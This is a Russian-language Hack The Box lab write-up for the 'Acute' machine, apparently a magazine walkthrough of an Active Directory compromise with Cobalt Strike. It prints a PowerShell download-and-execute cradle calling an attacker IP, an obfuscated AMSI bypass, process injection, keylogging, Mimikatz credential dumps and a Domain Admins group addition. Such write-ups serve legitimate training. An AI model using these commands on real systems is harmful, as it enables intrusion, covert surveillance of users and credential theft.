HTB Acute. Атакуем Active Directory с помощью Cobalt Strike
В этом райтапе я покажу атаку на Active Directorу с помощью популярного инструмента Cobalt Strike. Мы проведем базовый сбор информации, чтобы получить первоначальный доступ, затем последим за действиями пользователя, вооружившись кейлоггером и скриншотером, а также рассмотрим один из методов продвижения с использованием PowerShell.
Проходить мы будем машину Acute с площадки Hack The Box. Уровень сложности — hard.
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
По результатам сканирования имеем всего один открытый порт — 443, стандартный для веб‑сервера. Поскольку на нем используется SSL, мы можем посмотреть сертификат и в поле commonName
находим домен, для которого он действителен. Nmap автоматически отображает это поле в результате сканирования. Новый домен тоже добавим в /etc/hosts
.
10.10.11.145 acute.htb atsserver.acute.local
Идем осматривать сайт. Ссылок на нем маловато, но одна из них ведет на документ.
Скачаем док для анализа: в нем может быть интересная информация.
ТОЧКА ВХОДА
В документе находим какой‑то дефолтный пароль. Такие вещи всегда стоит отмечать — при прохождении лабораторок они по закону жанра обязаны еще выстрелить.
Также находим упоминание работы, а чуть дальше и ссылку на PSWA (PowerShell Web Access). Эта функция позволяет удаленно управлять сервером с помощью PowerShell через обычный браузер. Доменное имя из ссылки добавим в файл /etc/hosts
.
10.10.11.145 acute.htb atsserver.acute.local
Переходим по найденной ссылке, и нам открывается панель авторизации PSWA.
У нас есть пароль, осталось найти имена пользователя и машины.
ТОЧКА ОПОРЫ
Файлы вроде офисных документов очень полезны при разведке. Их метаданные могут содержать, к примеру, имя пользователя и название машины. Поэтому первым делом получим метаданные скачанного файла с помощью Exiftool.
Из поля Creator
получаем имя пользователя, а поле Description
раскрывает имя машины. Но с этими учетными данными подключиться не получилось, поэтому я пошел искать на сайте другие подсказки. И нашел... имена пользователей.
Формируем список по уже имеющемуся у нас формату.
И с найденным паролем на обозначенной машине мы получаем командную веб‑оболочку PowerShell от имени пользователя edavies
.
Для дальнейшей эксплуатации и продвижения я решил использовать популярный фреймворк Cobalt Strike. Первым делом создадим листенер.
Для удобной доставки нагрузки будем использовать скрипт на PowerShell, расположенный на локальном веб‑сервере.
После настройки нам даже дадут команду, которую необходимо ввести на целевой системе.
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.14.26:80/info'))"
Но нас останавливает антивирус, который триггернул из‑за AMSI.
Справка: AMSI
Antimalware Scan Interface (AMSI) — это компонент Microsoft Windows, который обеспечивает более глубокую проверку встроенных служб сценариев. Продвинутое вредоносное ПО использует замаскированные или зашифрованные сценарии, чтобы уклониться от традиционных методов проверки. Такое вредоносное ПО часто загружается непосредственно в память, поэтому не использует файлы на устройстве. AMSI — это интерфейс, через который приложения и службы в Windows отправляют запросы на проверку установленному на компьютере средству защиты от вредоносного ПО.
Но мы можем запатчить AMSI, чтобы используемый нами код не уходил на проверку. Метод заключается в изменении адресов заголовков amsiContext
(контекст, в котором происходит сканирование): зануляем указатель.
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
И после повторного запуска нагрузки получаем активную сессию в нашем фреймворке.
ПРОДВИЖЕНИЕ
Получив контроль над хостом, я сразу просмотрел запущенные процессы и сессии активных пользователей.
Видим запущенные процессы powershell.exe
в первой сессии. Это значит, что пользователь авторизован и выполняет определенные задачи. Чтобы получить доступ к окружению сессии, нам нужен контроль над ней. Другими словами, наш агент должен работать в той же сессии.
Для этого я решил выполнить инъекцию нагрузки SMB beacon в процесс explorer.exe
. Но для начала нужно создать SMB-листенер.
Когда листенер создан, можем прямо в Process Explorer «Кобальта» найти целевой процесс и выполнить инъекцию в него.
На графе связей мы должны увидеть новый агент.
Так как пользователь запустил PowerShell, попробуем просмотреть его рабочий стол. Process Explorer позволяет легко запустить скриншотер. При запуске нас спросят, хотим ли мы получать скриншоты периодически (функция screenwatch
), — отказываемся. После выполнения команды найдем полученное изображение в хранилище скриншотов Cobalt Strike.
Видим, что пользователь пытается подключиться к другому хосту с помощью powershell enter-pssession
. Эта команда требует учетных данных, которые мы можем «подсмотреть». Поэтому я запустил скриншотер в потоковом режиме, а также активировал кейлоггер. Все это можно сделать прямо из браузера процессов Cobalt Strike.
Но ввод тянется невероятно долго. В ожидании я провел базовую разведку в сети: получил хосты и пользователей домена. Так мы будем лучше представлять себе потенциальные цели.
И вот наконец подоспели учетные данные. Идея запустить кейлоггер была хорошей, так как команду нужно теперь просто скопировать, а не перепечатывать с картинки.
У пользователя подключиться не получилось, но и у меня тоже. Тогда пробуем вместо enter-pssession
использовать invoke-command
. Ниже — скрипт для подключения и соответствующая команда для Cobalt Strike.
$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd)Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { ls C:\Users\imonks\Desktop }powershell $passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force ; $cred = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd) ; Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { ls C:\Users\imonks\Desktop }
На рабочем столе есть скрипт на PowerShell и флаг пользователя, который мы, естественно, забираем (дальше пишу только основную команду).
type C:\Users\imonks\Desktop\user.txt
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Также мы получаем интересный скрипт на PowerShell:
C:\Users\imonks\Desktop\wm.ps1
Этот скрипт нужен, чтобы подключаться к уже контролируемому нами хосту ACUTE-PC01
и выполнять команду Get-Volume
.
Так как скрипт отработал на ура, можно его изменить и выполнить свою команду. К примеру, запустить файл с нагрузкой. Проблема только в том, что, если закинуть файл на хост, его спалит антивирус. Давай просмотрим исключения Windows Defender.
reg query x64 HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
Это значит, что файлы в указанных каталогах проверяться не будут. Тогда генерируем «маяк» SMB в формате исполняемого файла .exe и загружаем в каталог C:\Utils\
.
Теперь займемся изменением скрипта. Для работы нам нужна только строка с выполнением команды, а все предшествующие ей я сохраняю в файл и импортирую с помощью команды powershell-import
.
$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd)
Для изменения удаленного скрипта будем использовать цепочку команд: считываем содержимое файла, заменяем команду, записываем в файл.
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { ((cat "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c C:\Utils\b.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1 }
После успешного изменения скрипта просто выполняем его.
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock { C:\Users\imonks\Desktop\wm.ps1 }
Теперь в списке процессов мы должны найти свой SMB-маяк, у меня это файл b.exe
.
Теперь просто подключаемся к SMB-нагрузке. Для этого команде link
указываем хост и имя SMB-пайпа (используемого при создании листенера).
В графе сессий появляется новая машина, причем молнии указывают, что маяк работает с правами администратора.
ПРОДВИЖЕНИЕ
Так как мы получили права администратора на одном из хостов, есть повод поохотиться за учетными данными. Но сначала получим контекст SYSTEM. Один из способов сделать это — выполнить инъекцию в процесс, работающий в этом контексте. Я выбрал svchost.exe.
Теперь, когда у нас максимальные права на хосте, используем популярную утилиту Mimikatz, а точнее, модуль sekurlsa::logonpasswords.
Mimikatz помог достать учетные данные из процесса lsass.exe. Но есть еще и база SAM, для работы с которой понадобится hashdump.
Все полученные пароли и хеши Cobalt Strike автоматически распарсит и добавит в хранилище учетных данных.
У нас есть несколько хешей, но куда лучше знать их прообразы, то есть пароли в чистом виде. Воспользуемся онлайн‑сервисом для взлома NTLM-хешей по уже готовым базам.
Нам удается получить еще один пароль. Перебирая возможные комбинации имен пользователей и паролей через powershell Invoke-Command
, получаем еще одного юзера — awallace : Password@123
.
powershell $passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force ; $cred = New-Object System.Management.Automation.PSCredential ("acute\awallace",$passwd) ; Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { whoami /all }
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ В ДОМЕНЕ
Дальше я пошел по своему чек‑листу в поисках пути для повышения привилегий. В директории C:\program files\
нашелся каталог keepmeon
, а в нем файл .bat.
Этот скрипт будет запускать все bat-файлы в текущем каталоге.
Создадим батник admin.bat, который добавит текущего пользователя в группу администраторов домена (Domain Admins
).
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { Set-Content -Path 'c:\program files\Keepmeon\admin.bat' -Value 'net group "Domain Admins" awallace /add /domain' }
Затем начинаем периодически проверять группы нашего пользователя. И в какой‑то момент мы увидим группу Domain Admins
.
И забираем флаг рута с удаленного хоста.
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command { type C:\Users\Administrator\Desktop\root.txt }